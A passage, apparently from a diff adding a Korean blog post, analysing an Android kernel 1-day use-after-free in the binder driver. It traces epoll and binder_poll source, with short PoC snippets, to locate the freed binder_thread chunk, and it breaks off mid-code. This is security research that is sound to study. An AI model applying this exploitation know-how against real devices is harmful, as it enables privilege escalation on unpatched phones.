<span class="n">eventpoll</span> <span class="o">**</span><span class="n">pep</span><span class="p">)</span> + <span class="p">{</span> + <span class="p">[...]</span> + <span class="k">struct</span> <span class="n">eventpoll</span> <span class="o">*</span><span class="n">ep</span><span class="p">;</span> + <span class="p">[...]</span> + + <span class="n">init_wait_queue_head</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ep</span><span class="o">-&gt;</span><span class="n">wq</span><span class="p">);</span> + <span class="c1">//ep-&gt;wq-&gt;head-&gt;next = ep-&gt;wq-&gt;head</span> + <span class="c1">//ep-&gt;wq-&gt;head-&gt;prev = ep-&gt;wq-&gt;head</span> + <span class="n">init_wait_queue_head</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ep</span><span class="o">-&gt;</span><span class="n">poll_wait</span><span class="p">)</span> + <span class="c1">//ep-&gt;poll_wait-&gt;head-&gt;next = ep-&gt;poll_wait-&gt;head</span> + <span class="c1">//ep-&gt;poll_wait-&gt;head-&gt;prev = ep-&gt;poll_wait-&gt;head</span> + + <span class="p">[...]</span> + <span class="p">}</span> +</code></pre></div> </div> + </li> +</ol> + +<p><br /></p> + +<p>그리고 아래 코드에 의해 <code class="language-plaintext highlighter-rouge">file→private_data = ep ; ep→file = file</code> 이 결론적으로 수행된다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /fs/eventpoll.c</span> +<span class="n">SYSCALL_DEFINE1</span><span class="p">(</span><span class="n">epoll_create1</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="n">flags</span><span class="p">)</span> +<span class="p">{</span> + <span class="n">file</span> <span class="o">=</span> <span class="n">anon_inode_getfile</span><span class="p">(</span><span class="s">"[eventpoll]"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">eventpoll_fops</span><span class="p">,</span> <span class="n">ep</span><span class="p">,</span> + <span class="n">O_RDWR</span> <span class="o">|</span> <span class="p">(</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">O_CLOEXEC</span><span class="p">));</span> <span class="c1">// file-&gt;private_data = ep</span> + + <span class="c1">//[...]</span> + <span class="n">ep</span><span class="o">-&gt;</span><span class="n">file</span> <span class="o">=</span> <span class="n">file</span><span class="p">;</span> + <span class="n">fd_install</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">file</span><span class="p">);</span> + <span class="k">return</span> <span class="n">fd</span><span class="p">;</span> + <span class="c1">//[...]</span> +<span class="p">}</span> + +<span class="c1">// /fs/anon_inodes.c</span> +<span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="nf">anon_inode_getfile</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">name</span><span class="p">,</span> + <span class="k">const</span> <span class="k">struct</span> <span class="n">file_operations</span> <span class="o">*</span><span class="n">fops</span><span class="p">,</span> + <span class="kt">void</span> <span class="o">*</span><span class="n">priv</span><span class="p">,</span> <span class="kt">int</span> <span class="n">flags</span><span class="p">)</span> +<span class="p">{</span> + <span class="c1">//[...]</span> + <span class="n">file</span><span class="o">-&gt;</span><span class="n">private_data</span> <span class="o">=</span> <span class="n">priv</span><span class="p">;</span> + <span class="k">return</span> <span class="n">file</span> + <span class="c1">//[...]</span> +<span class="p">}</span> +</code></pre></div></div> + +<p>결과적으로 생성된 구조체는 다음과 같다.</p> + +<p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android1.png" alt="그림 1. epoll_create이후 생성된 구조체 list" /></p> + +<ul> + <li>위 다이어그램은 각 구조체의 중요한 맴버만 표시한 것으로 다이어그램 속 맴버가 전부가 아님을 밝힌다.</li> +</ul> + +<p><br /></p> + +<h3 id="422-epoll_ctl">4.2.2 epoll_ctl</h3> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// poc.c</span> +<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> +<span class="p">{</span> + <span class="c1">//[...]</span> + <span class="n">epfd</span> <span class="o">=</span> <span class="n">epoll_create</span><span class="p">(</span><span class="mi">1000</span><span class="p">);</span> + <span class="n">epoll_ctl</span><span class="p">(</span><span class="n">epfd</span><span class="p">,</span> <span class="n">EPOLL_CTL_ADD</span><span class="p">,</span> <span class="n">fd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">event</span><span class="p">);</span> + <span class="c1">//[...]</span> +<span class="p">}</span> +</code></pre></div></div> + +<p><br /> +POC를 따라 epoll_ctl 코드가 있는 곳을 보면 아래와 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /fs/eventpoll.c</span> +<span class="n">SYSCALL_DEFINE4</span><span class="p">(</span><span class="n">epoll_ctl</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="n">epfd</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="n">op</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="n">fd</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">epoll_event</span> <span class="n">__user</span> <span class="o">*</span><span class="p">,</span> <span class="n">event</span><span class="p">)</span> +<span class="p">{</span> + <span class="kt">int</span> <span class="n">error</span><span class="p">;</span> + <span class="kt">int</span> <span class="n">full_check</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">fd</span> <span class="n">f</span><span class="p">,</span> <span class="n">tf</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">eventpoll</span> <span class="o">*</span><span class="n">ep</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">epitem</span> <span class="o">*</span><span class="n">epi</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">epoll_event</span> <span class="n">epds</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">eventpoll</span> <span class="o">*</span><span class="n">tep</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span> + + <span class="c1">//[...]</span> + + <span class="k">case</span> <span class="n">EPOLL_CTL_ADD</span><span class="p">:</span> + <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">epi</span><span class="p">)</span> <span class="p">{</span> + <span class="n">epds</span><span class="p">.</span><span class="n">events</span> <span class="o">|=</span> <span class="n">POLLERR</span> <span class="o">|</span> <span class="n">POLLHUP</span><span class="p">;</span> + <span class="n">error</span> <span class="o">=</span> <span class="n">ep_insert</span><span class="p">(</span><span class="n">ep</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">epds</span><span class="p">,</span> <span class="n">tf</span><span class="p">.</span><span class="n">file</span><span class="p">,</span> <span class="n">fd</span><span class="p">,</span> <span class="n">full_check</span><span class="p">);</span> + <span class="p">}</span> <span class="k">else</span> + <span class="n">error</span> <span class="o">=</span> <span class="o">-</span><span class="n">EEXIST</span><span class="p">;</span> + <span class="k">break</span><span class="p">;</span> + +</code></pre></div></div> + +<ul> + <li>ep_insert 함수가 실행되는데 인자로 들어가는 부분은 아래와 같다. + <ul> + <li>ep : f.file→private_data, ep_create 로 만들어진 eventpoll 구조체이다.</li> + <li>epds : epoll_ctl의 4번째 인자가 copy된 값이다.</li> + <li>tf : fd의 file descriptor로, binder의 fd값이다.</li> + </ul> + </li> +</ul> + +<p><br /> +ep_insert 함수에서 아래 함수가 실행된다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /fs/eventpoll.c</span> +<span class="k">static</span> <span class="kt">int</span> <span class="nf">ep_insert</span><span class="p">(</span><span class="k">struct</span> <span class="n">eventpoll</span> <span class="o">*</span><span class="n">ep</span><span class="p">,</span> <span class="k">struct</span> <span class="n">epoll_event</span> <span class="o">*</span><span class="n">event</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">tfile</span><span class="p">,</span> <span class="kt">int</span> <span class="n">fd</span><span class="p">,</span> <span class="kt">int</span> <span class="n">full_check</span><span class="p">)</span> +<span class="p">{</span> + <span class="p">...</span> + <span class="n">epi</span><span class="o">-&gt;</span><span class="n">ep</span> <span class="o">=</span> <span class="n">ep</span><span class="p">;</span> + <span class="n">ep_set_ffd</span><span class="p">(</span><span class="o">&amp;</span><span class="n">epi</span><span class="o">-&gt;</span><span class="n">ffd</span><span class="p">,</span> <span class="n">tfile</span><span class="p">,</span> <span class="n">fd</span><span class="p">);</span> + <span class="p">...</span> + <span class="n">revents</span> <span class="o">=</span> <span class="n">ep_item_poll</span><span class="p">(</span><span class="n">epi</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">epq</span><span class="p">.</span><span class="n">pt</span><span class="p">);</span> + <span class="p">...</span> +<span class="p">}</span> + +<span class="c1">// /fs/eventpoll.c</span> +<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="nf">ep_set_ffd</span><span class="p">(</span><span class="k">struct</span> <span class="n">epoll_filefd</span> <span class="o">*</span><span class="n">ffd</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">file</span><span class="p">,</span> <span class="kt">int</span> <span class="n">fd</span><span class="p">)</span> +<span class="p">{</span> + <span class="n">ffd</span><span class="o">-&gt;</span><span class="n">file</span> <span class="o">=</span> <span class="n">file</span><span class="p">;</span> + <span class="n">ffd</span><span class="o">-&gt;</span><span class="n">fd</span> <span class="o">=</span> <span class="n">fd</span><span class="p">;</span> +<span class="p">}</span> + +<span class="c1">// /fs/eventpoll.c</span> +<span class="k">static</span> <span class="kr">inline</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="nf">ep_item_poll</span><span class="p">(</span><span class="k">struct</span> <span class="n">epitem</span> <span class="o">*</span><span class="n">epi</span><span class="p">,</span> <span class="n">poll_table</span> <span class="o">*</span><span class="n">pt</span><span class="p">)</span> +<span class="p">{</span> + <span class="n">pt</span><span class="o">-&gt;</span><span class="n">_key</span> <span class="o">=</span> <span class="n">epi</span><span class="o">-&gt;</span><span class="n">event</span><span class="p">.</span><span class="n">events</span><span class="p">;</span> + + <span class="k">return</span> <span class="n">epi</span><span class="o">-&gt;</span><span class="n">ffd</span><span class="p">.</span><span class="n">file</span><span class="o">-&gt;</span><span class="n">f_op</span><span class="o">-&gt;</span><span class="n">poll</span><span class="p">(</span><span class="n">epi</span><span class="o">-&gt;</span><span class="n">ffd</span><span class="p">.</span><span class="n">file</span><span class="p">,</span> <span class="n">pt</span><span class="p">)</span> <span class="o">&amp;</span> <span class="n">epi</span><span class="o">-&gt;</span><span class="n">event</span><span class="p">.</span><span class="n">events</span><span class="p">;</span> +<span class="p">}</span> + +</code></pre></div></div> + +<ul> + <li>ep_set_ffd에 의하여 epi-&gt;ffd.file은 tfile 즉 binder의 fd가 들어간다.</li> + <li>따라서 이후 ep_item_poll에서 epi-&gt;ffd.file-&gt;f_op-&gt;poll(epi-&gt;ffd.file, pt)함수를 실행하면, binder fd와 연결된 binder_poll 함수가 실행된다.</li> +</ul> + +<p><br /></p> + +<p>binder_poll은 아래와 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//drivers/android/binder.c</span> +<span class="k">static</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="nf">binder_poll</span><span class="p">(</span><span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">filp</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">poll_table_struct</span> <span class="o">*</span><span class="n">wait</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">struct</span> <span class="n">binder_proc</span> <span class="o">*</span><span class="n">proc</span> <span class="o">=</span> <span class="n">filp</span><span class="o">-&gt;</span><span class="n">private_data</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">binder_thread</span> <span class="o">*</span><span class="kr">thread</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span> + <span class="n">bool</span> <span class="n">wait_for_proc_work</span><span class="p">;</span> + + <span class="kr">thread</span> <span class="o">=</span> <span class="n">binder_get_thread</span><span class="p">(</span><span class="n">proc</span><span class="p">);</span> <span class="c1">//binder thread 세팅</span> + <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="kr">thread</span><span class="p">)</span> + <span class="k">return</span> <span class="n">POLLERR</span><span class="p">;</span> + + <span class="n">binder_inner_proc_lock</span><span class="p">(</span><span class="kr">thread</span><span class="o">-&gt;</span><span class="n">proc</span><span class="p">);</span> + <span class="kr">thread</span><span class="o">-&gt;</span><span class="n">looper</span> <span class="o">|=</span> <span class="n">BINDER_LOOPER_STATE_POLL</span><span class="p">;</span> + <span class="n">wait_for_proc_work</span> <span class="o">=</span> <span class="n">binder_available_for_proc_work_ilocked</span><span class="p">(</span><span class="kr">thread</span><span class="p">);</span> + + <span class="n">binder_inner_proc_unlock</span><span class="p">(</span><span class="kr">thread</span><span class="o">-&gt;</span><span class="n">proc</span><span class="p">);</span> + + <span class="n">poll_wait</span><span class="p">(</span><span class="n">filp</span><span class="p">,</span> <span class="o">&amp;</span><span class="kr">thread</span><span class="o">-&gt;</span><span class="n">wait</span><span class="p">,</span> <span class="n">wait</span><span class="p">);</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">binder_has_work</span><span class="p">(</span><span class="kr">thread</span><span class="p">,</span> <span class="n">wait_for_proc_work</span><span class="p">))</span> + <span class="k">return</span> <span class="n">POLLIN</span><span class="p">;</span> + + <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> +<span class="p">}</span> + +</code></pre></div></div> + +<p>위에서 보여진 <code class="language-plaintext highlighter-rouge">binder_proc *proc</code>에는 처음 binder driver를 열었을 때 생성된 <code class="language-plaintext highlighter-rouge">binder_proc</code>구조체가 들어가게 된다. 그리고 <code class="language-plaintext highlighter-rouge">binder_get_thread</code>함수에서 <code class="language-plaintext highlighter-rouge">binder_thread</code> 구조체를 할당한 다음 세팅한다.</p> + +<p><br /> +binder_get_thread함수는 아래와 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /drivers/android/binder.c</span> +<span class="k">static</span> <span class="k">struct</span> <span class="n">binder_thread</span> <span class="o">*</span><span class="nf">binder_get_thread</span><span class="p">(</span><span class="k">struct</span> <span class="n">binder_proc</span> <span class="o">*</span><span class="n">proc</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">struct</span> <span class="n">binder_thread</span> <span class="o">*</span><span class="kr">thread</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">binder_thread</span> <span class="o">*</span><span class="n">new_thread</span><span class="p">;</span> + + <span class="n">binder_inner_proc_lock</span><span class="p">(</span><span class="n">proc</span><span class="p">);</span> + <span class="kr">thread</span> <span class="o">=</span> <span class="n">binder_get_thread_ilocked</span><span class="p">(</span><span class="n">proc</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span> + <span class="n">binder_inner_proc_unlock</span><span class="p">(</span><span class="n">proc</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="kr">thread</span><span class="p">)</span> <span class="p">{</span> + <span class="n">new_thread</span> <span class="o">=</span> <span class="n">kzalloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="kr">thread</span><span class="p">),</span> <span class="n">GFP_KERNEL</span><span class="p">);</span> <span class="c1">// 새로운 binder thread할당</span> + <span class="k">if</span> <span class="p">(</span><span class="n">new_thread</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> + <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span> + <span class="n">binder_inner_proc_lock</span><span class="p">(</span><span class="n">proc</span><span class="p">);</span> + <span class="kr">thread</span> <span class="o">=</span> <span class="n">binder_get_thread_ilocked</span><span class="p">(</span><span class="n">proc</span><span class="p">,</span> <span class="n">new_thread</span><span class="p">);</span> + <span class="n">binder_inner_proc_unlock</span><span class="p">(</span><span class="n">proc</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="kr">thread</span> <span class="o">!=</span> <span class="n">new_thread</span><span class="p">)</span> + <span class="n">kfree</span><span class="p">(</span><span class="n">new_thread</span><span class="p">);</span> + <span class="p">}</span> + <span class="k">return</span> <span class="kr">thread</span><span class="p">;</span> +<span class="p">}</span> + +</code></pre></div></div> + +<ul> + <li>위 함수에서 보면 kzalloc(sizeof(*thread), GFP_KERNEL); 코드를 통해 새로운 thread를 할당 받는 것을 알 수 있다.</li> + <li>이때 할당 받은 청크가 우리가 UAF에서 사용할 청크이다.</li> +</ul> + +<p><br /> +binder thread 구조체는 아래와 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//drivers/android/binder.c</span> +<span class="k">struct</span> <span class="n">binder_thread</span> <span class="p">{</span> + <span class="k">struct</span> <span class="n">binder_proc</span> <span class="o">*</span><span class="n">proc</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">rb_node</span> <span class="n">rb_node</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">list_head</span> <span class="n">waiting_thread_node</span><span class="p">;</span> + <span class="kt">int</span> <span class="n">pid</span><span class="p">;</span> + <span class="kt">int</span> <span class="n">looper</span><span class="p">;</span> <span class="cm">/* only modified by this thread */</span> + <span class="n">bool</span> <span class="n">looper_need_return</span><span class="p">;</span> <span class="cm">/* can be written by other thread */</span> + <span class="k">struct</span> <span class="n">binder_transaction</span> <span class="o">*</span><span class="n">transaction_stack</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">list_head</span> <span class="n">todo</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">binder_error</span> <span class="n">return_error</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">binder_error</span> <span class="n">reply_error</span><span class="p">;</span> + <span class="n">wait_queue_head_t</span> <span class="n">wait</span><span class="p">;</span> <span class="c1">//이 부분이 중요!</span> + <span class="k">struct</span> <span class="n">binder_stats</span> <span class="n">stats</span><span class="p">;</span> + <span class="n">atomic_t</span> <span class="n">tmp_ref</span><span class="p">;</span> + <span class="n">bool</span> <span class="n">is_dead</span><span class="p">;</span> +<span class="p">};</span> + +</code></pre></div></div> + +<p><br /> +우리는 앞서 패치 노트를 통해 epoll과 waitqueue에 어떤 부분에 의하여 UAF가 발생했다는 것을 추측할 수 있다. 따라서 이와 관련이 있어 보이는 <code class="language-plaintext highlighter-rouge">poll_wait(filp, &amp;thread-&gt;wait, wait);</code> 코드를 볼 필요가 있다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//drivers/android/binder.c</span> +<span class="k">static</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="nf">binder_poll</span><span class="p">(</span><span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">filp</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">poll_table_struct</span> <span class="o">*</span><span class="n">wait</span><span class="p">)</span> +<span class="p">{</span> + <span class="p">...</span> + <span class="n">poll_wait</span><span class="p">(</span><span class="n">filp</span><span class="p">,</span> <span class="o">&amp;</span><span class="kr">thread</span><span class="o">-&gt;</span><span class="n">wait</span><span class="p">,</span> <span class="n">wait</span><span class="p">);</span> + <span class="p">...</span> +<span class="p">}</span> + +<span class="c1">// /include/linux/poll.h</span> +<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="nf">poll_wait</span><span class="p">(</span><span class="k">struct</span> <span class="n">file</span> <span class="o">*</span> <span class="n">filp</span><span class="p">,</span> <span class="n">wait_queue_head_t</span> <span class="o">*</span> <span class="n">wait_address</span><span class="p">,</span> <span class="n">poll_table</span> <span class="o">*</span><span class="n">p</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">if</span> <span class="p">(</span><span class="n">p</span> <span class="o">&amp;&amp;</span> <span class="n">p</span><span class="o">-&gt;</span><span class="n">_qproc</span> <span class="o">&amp;&amp;</span> <span class="n">wait_address</span><span class="p">)</span> + <span class="n">p</span><span class="o">-&gt;</span><span class="n">_qproc</span><span class="p">(</span><span class="n">filp</span><span class="p">,</span> <span class="n">wait_address</span><span class="p">,</span> <span class="n">p</span><span class="p">);</span> +<span class="p">}</span> + +</code></pre></div></div> + +<ul> + <li> + <p>p→_qproc는 ep_insert함수에서 실행된 <code class="language-plaintext highlighter-rouge">init_poll_funcptr(&amp;epq.pt, ep_ptable_queue_proc);</code> 코드에 의해 <code class="language-plaintext highlighter-rouge">ep_ptable_queue_proc</code>함수로 세팅되어, 해당 함수가 실행된다.</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// /fs/eventpoll.c</span> + <span class="k">static</span> <span class="kt">int</span> <span class="nf">ep_insert</span><span class="p">(</span><span class="k">struct</span> <span class="n">eventpoll</span> <span class="o">*</span><span class="n">ep</span><span class="p">,</span> <span class="k">struct</span> <span class="n">epoll_event</span> <span class="o">*</span><span class="n">event</span><span class="p">,</span> <span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">tfile</span><span class="p">,</span> <span class="kt">int</span> <span class="n">fd</span><span class="p">,</span> <span class="kt">int</span> <span class="n">full_check</span><span class="p">)</span> + <span class="p">{</span> + <span class="c1">//... </span> + <span class="n">epq</span><span class="p">.</span><span class="n">epi</span> <span class="o">=</span> <span class="n">epi</span><span class="p">;</span> + <span class="n">init_poll_funcptr</span><span class="p">(</span><span class="o">&amp;</span><span class="n">epq</span><span class="p">.</span><span class="n">pt</span><span class="p">,</span> <span class="n">ep_ptable_queue_proc</span><span class="p">);</span> + <span class="c1">//...</span> + <span class="p">}</span> + + <span class="c1">// /include/linux/poll.h</span> + <span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="nf">init_poll_funcptr</span><span class="p">(</span><span class="n">poll_table</span> <span class="o">*</span><span class="n">pt</span><span class="p">,</span> <span class="n">poll_queue_proc</span> <span class="n">qproc</span><span class="p">)</span> + <span class="p">{</span> + <span class="n">pt</span><span class="o">-&gt;</span><span class="n">_qproc</span> <span class="o">=</span> <span class="n">qproc</span><span class="p">;</span> + <span class="n">pt</span><span class="o">-&gt;</span><span class="n">_key</span> <span class="o">=</span> <span class="o">~</span><span class="mi">0UL</span><span class="p">;</span> <span class="cm">/* all events enabled */</span> + <span class="p">}</span> +</code></pre></div> </div> + </li> +</ul> + +<p><br /></p> + +<p>이어서 ep_ptable_queue_proc을 보면 다음과 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /fs/eventpoll.c</span> + +<span class="k">static</span> <span class="kt">void</span> <span class="nf">ep_ptable_queue_proc</span><span class="p">(</span><span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">file</span><span class="p">,</span> <span class="n">wait_queue_head_t</span> <span class="o">*</span><span class="n">whead</span><span class="p">,</span> + <span class="n">poll_table</span> <span class="o">*</span><span class="n">pt</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">struct</span> <span class="n">epitem</span> <span class="o">*</span><span class="n">epi</span> <span class="o">=</span> <span class="n">ep_item_from_epqueue</span><span class="p">(</span><span class="n">pt</span><span class="p">);</span> + <span class="k">struct</span> <span class="n">eppoll_entry</span> <span class="o">*</span><span class="n">pwq</span><span class="p">;</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">epi</span><span class="o">-&gt;</span><span class="n">nwait</span> <span class="o">&gt;=</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="n">pwq</span> <span class="o">=</span> <span class="n">kmem_cache_alloc</span><span class="p">(</span><span class="n">pwq_cache</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">)))</span> <span class="p">{</span> + <span class="n">init_waitqueue_func_entry</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pwq</span><span class="o">-&gt;</span><span class="n">wait</span><span class="p">,</span> <span class="n">ep_poll_callback</span><span class="p">);</span> + <span class="n">pwq</span><span class="o">-&gt;</span><span class="n">whead</span> <span class="o">=</span> <span class="n">whead</span><span class="p">;</span> + <span class="n">pwq</span><span class="o">-&gt;</span><span class="n">base</span> <span class="o">=</span> <span class="n">epi</span><span class="p">;</span> + <span class="k">if</span> <span class="p">(</span><span class="n">epi</span><span class="o">-&gt;</span><span class="n">event</span><span class="p">.</span><span class="n">events</span> <span class="o">&amp;</span> <span class="n">EPOLLEXCLUSIVE</span><span class="p">)</span> + <span class="n">add_wait_queue_exclusive</span><span class="p">(</span><span class="n">whead</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pwq</span><span class="o">-&gt;</span><span class="n">wait</span><span class="p">);</span> + <span class="k">else</span> + <span class="n">add_wait_queue</span><span class="p">(</span><span class="n">whead</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pwq</span><span class="o">-&gt;</span><span class="n">wait</span><span class="p">);</span> + <span class="n">list_add_tail</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pwq</span><span class="o">-&gt;</span><span class="n">llink</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">epi</span><span class="o">-&gt;</span><span class="n">pwqlist</span><span class="p">);</span> + <span class="n">epi</span><span class="o">-&gt;</span><span class="n">nwait</span><span class="o">++</span><span class="p">;</span> + <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> + <span class="cm">/* We have to signal that an error occurred */</span> + <span class="n">epi</span><span class="o">-&gt;</span><span class="n">nwait</span> <span class="o">=</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span> + + <span class="c1">//[...]</span> +<span class="p">}</span> + +<span class="c1">// /kernel/sched/wait.c</span> +<span class="kt">void</span> <span class="n">add_wait_queue</span><span class="p">(</span><span class="k">struct</span> <span class="n">wait_queue_head</span> <span class="o">*</span><span class="n">wq_head</span><span class="p">,</span> <span class="k">struct</span> <span class="n">wait_queue_entry</span> <span class="o">*</span><span class="n">wq_entry</span><span class="p">)</span> +<span class="p">{</span> + <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">flags</span><span class="p">;</span> + + <span class="n">wq_entry</span><span class="o">-&gt;</span><span class="n">flags</span> <span class="o">&amp;=</span> <span class="o">~</span><span class="n">WQ_FLAG_EXCLUSIVE</span><span class="p">;</span> + <span class="n">spin_lock_irqsave</span><span class="p">(</span><span class="o">&amp;</span><span class="n">wq_head</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">,</span> <span class="n">flags</span><span class="p">);</span> + <span class="n">__add_wait_queue</span><span class="p">(</span><span class="n">wq_head</span><span class="p">,</span> <span class="n">wq_entry</span><span class="p">);</span> + <span class="n">spin_unlock_irqrestore</span><span class="p">(</span><span class="o">&amp;</span><span class="n">wq_head</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">,</span> <span class="n">flags</span><span class="p">);</span> +<span class="p">}</span> + +<span class="c1">// /include/linux/wait.h</span> +<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="n">__add_wait_queue</span><span class="p">(</span><span class="n">wait_queue_head_t</span> <span class="o">*</span><span class="n">head</span><span class="p">,</span> <span class="n">wait_queue_t</span> <span class="o">*</span><span class="n">new</span><span class="p">)</span> +<span class="p">{</span> + <span class="n">list_add</span><span class="p">(</span><span class="o">&amp;</span><span class="n">new</span><span class="o">-&gt;</span><span class="n">task_list</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">head</span><span class="o">-&gt;</span><span class="n">task_list</span><span class="p">);</span> +<span class="p">}</span> + +<span class="c1">// /include/linux/list.h</span> +<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="n">list_add</span><span class="p">(</span><span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">new</span><span class="p">,</span> <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">head</span><span class="p">)</span> +<span class="p">{</span> + <span class="n">__list_add</span><span class="p">(</span><span class="n">new</span><span class="p">,</span> <span class="n">head</span><span class="p">,</span> <span class="n">head</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">);</span> +<span class="p">}</span> + +<span class="c1">// /include/linux/list.h</span> +<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="n">__list_add</span><span class="p">(</span><span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">new</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">prev</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">next</span><span class="p">)</span> +<span class="p">{</span> + <span class="n">next</span><span class="o">-&gt;</span><span class="n">prev</span> <span class="o">=</span> <span class="n">new</span><span class="p">;</span> + <span class="n">new</span><span class="o">-&gt;</span><span class="n">next</span> <span class="o">=</span> <span class="n">next</span><span class="p">;</span> + <span class="n">new</span><span class="o">-&gt;</span><span class="n">prev</span> <span class="o">=</span> <span class="n">prev</span><span class="p">;</span> + <span class="n">prev</span><span class="o">-&gt;</span><span class="n">next</span> <span class="o">=</span> <span class="n">new</span><span class="p">;</span> +<span class="p">}</span> +</code></pre></div></div> + +<ul> + <li>add_wait_queue를 호출하여 binder_thread의 circular double linked list에 eppoll_entry.wait-&gt;task_list를 binder_thread 다음 노드로 추가</li> +</ul> + +<p><br /></p> + +<p>eppoll_entry 구조체는 아래와 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /fs/eventpoll.c</span> +<span class="k">struct</span> <span class="n">eppoll_entry</span> <span class="p">{</span> + <span class="cm">/* List header used to link this structure to the "struct epitem" */</span> + <span class="k">struct</span> <span class="n">list_head</span> <span class="n">llink</span><span class="p">;</span> + + <span class="cm">/* The "base" pointer is set to the container "struct epitem" */</span> + <span class="k">struct</span> <span class="n">epitem</span> <span class="o">*</span><span class="n">base</span><span class="p">;</span> + + <span class="cm">/* + * Wait queue item that will be linked to the target file wait 